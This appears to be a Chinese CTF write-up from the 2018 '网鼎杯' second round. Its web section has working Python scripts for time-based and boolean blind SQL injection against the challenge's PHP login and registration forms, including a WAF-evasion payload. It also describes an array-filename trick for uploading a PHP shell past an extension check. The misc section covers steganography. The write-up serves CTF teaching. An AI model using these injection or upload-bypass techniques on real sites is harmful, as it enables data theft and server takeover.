\"网鼎杯\"第二场Write up
2018-08-25 16:24:45

[toc]

WEB

unfinished

打开题目,显示登陆框,目录扫描发现有register.php,注册账号登陆什么都没有,就一个用户名。猜测可能是二次注入。 图片.png 构造payload: ‘ or (case when 1=1 then ‘a’ else ‘b’ end)=’a,发现成功。 图片.png 另外过滤了information,逗号。没有information,只能猜测表名为flag。然后结合limit offset写个脚本跑去试了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding:utf8 -*-
import requests
import time
db_name=""
url= "http://7f01519f2fe14923acb0d2a096255f7302bd502b499a47ed.game.ichunqiu.com/register.php"
database=""
##当前数据库名长度##
for a in range(1,50):
for i in range(30,148):
db_payload="' or (case when ascii(mid((select * from flag limit 1 offset 0)from(%d)for(1)))='%d' then sleep(3) else 'b' end)='a"%(a,i)
da={"email":"11@qq.com",
"username":db_payload,
"password":"11"}
print(db_payload)
startTime=time.time()
r=requests.post(url,data=da,timeout=100)
if time.time()-startTime>2:
database+=chr(i)
print(database)
break
print(database)

服务器有毒跑一会就报错,只能几个字符几个字符的跑。很恶心,就不跑了。 图片.png 图片.png

wafupload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="filename"><br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

首先检查文件类型,然后检查是否输入文件名,以及文件名是否是数组。如果是数组文件后缀取数组的最后一个元素。最后用原文件名加数组的最后一个元素拼接成文件名。 burp抓包把文件的content-type改成允许的。 通过传入数组,让最后一个数组的内容在允许上传的文件后缀中。 $filename = reset($file) . '.' . $file[count($file) - 1]; 构造$file=test.php/加上后面的.,然后让最后一个$file[count($file) - 1];等于空。 这里利用了move_uploaded_file的一个trick,move忽略/.变成test.php 图片.png 图片.png 还有一种方法 让最后一个数组文件名为png绕过后缀检查,然后让文件名和文件后缀都为php。也就是构造数组第一个元素为php,$file[count($file) - 1]也为php。 图片.png

sqlweb

爆破admin admin123登陆显示only wuyanzu can get the flag 。 waf:/sleepbenchmark=likeregexpand\%substrunion\s+groupflooruserextractvalueUpdateXmlordlpadrpadleft>,ascii/i !!! (trust me,no one can bypass it) 用户名错误会显示username error,否则显示passwd error。可以构造payload利用布尔盲注跑密码。 图片.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf8 -*-
import requests
import string
st=string.ascii_letters+string.digits+string.punctuation
print(st)
db_name=""
url= "http://67a74e51e4a94331ab8e8be5656581bf13f219c4dcc7492e.game.ichunqiu.com/sql.php"
database=""

for a in range(1,50):
for i in st:
db_payload="wuyanzu'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)in('%s')#"%(a,i)
da={"uname":db_payload,
"passwd":1,
"submit":"login"
}
#print(db_payload)
r=requests.post(url,data=da,timeout=100)
if 'passwd' in r.text:
database+=i
print(database)
break
print(database)

图片.png

MISC

套娃

Lsb隐写,bgr通道 图片.png 可以直接用zsteg 图片.png

虚幻

binwalk发现里面有9张图片,用foremost分离出来 图片.png 放大后按顺序拼接到一起 图片.png 用stegsolve取R7保存并取反色 图片.png 补全汉信码的四个角,然后扫就可以了。 PS太菜了,补出来的扫不出东西。

Prev
2018-08-25 16:24:45
Next